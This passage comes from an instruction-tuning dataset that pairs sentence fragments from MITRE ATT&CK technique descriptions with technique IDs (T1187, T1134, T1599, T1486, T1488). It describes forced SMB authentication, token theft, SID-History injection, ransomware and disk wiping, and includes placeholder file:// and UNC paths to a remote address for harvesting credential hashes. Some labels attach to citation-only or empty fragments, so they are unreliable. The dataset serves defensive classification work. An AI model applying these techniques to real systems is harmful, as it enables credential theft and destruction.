T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Osanda Stealing NetNTLM Hashes)", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Osanda Stealing NetNTLM Hashes) ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some specifics from in-the-wild use include:\n\n*", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some specifics from in-the-wild use include:\n\n* ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)).", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: US-CERT APT Energy Oct 2017)\n*", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: US-CERT APT Energy Oct 2017)\n* ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: US-CERT APT Energy Oct 2017)", "output": "T1187", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: US-CERT APT Energy Oct 2017) ### Response: T1187."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows uses access tokens to determine the ownership of a running process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows uses access tokens to determine the ownership of a running process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this occurs, the process also takes on the security context associated with the new token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this occurs, the process also takes on the security context associated with the new token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary must already be in a privileged user context (i.e. administrator) to steal a token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary must already be in a privileged user context (i.e. administrator) to steal a token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use SID-History Injection to escalate privileges and bypass access controls. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows security identifier (SID) is a unique value that identifies a user or group account.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows security identifier (SID) is a unique value that identifies a user or group account. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SIDs are used by Windows security in both security descriptors and access tokens.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SIDs are used by Windows security in both security descriptors and access tokens. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft SID)", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft SID) ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators.", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", "output": "T1134.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). ### Response: T1134.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some network designs require NAT for the packets to cross the border device.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some network designs require NAT for the packets to cross the border device. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001).", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key.", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation:", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers).", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020)", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020) ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", "output": "T1486", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) ### Response: T1486."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources. ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018)", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content.", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation:", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files. ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and 